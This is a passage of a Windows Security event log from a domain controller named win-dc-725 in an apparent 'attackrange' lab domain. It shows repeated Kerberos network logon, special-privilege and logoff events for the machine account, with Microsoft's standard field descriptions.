RecordNumber=249253
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0CF9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249252
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0CF9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64189

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249251
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0CF9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249274
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0FBE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249273
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0FBE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64196

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249272
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0FBE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249271
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0F5D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249270
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0F5D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64195

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249269
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0F5D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249268
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0EF7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249267
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0EF7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64194

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249266
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0EF7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249265
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0E96

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249264
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0E96
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64193

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249263
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0E96

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249289
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1197

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249288
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1197
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64201

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249287
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1197

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249286
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1155

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249285
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1155
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64200

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249284
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1155

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249283
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE10F4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249282
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE10F4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64199

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249281
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE10F4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249280
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE108E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249279
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE108E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64198

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249278
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE108E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249277
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE102D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249276
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE102D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}
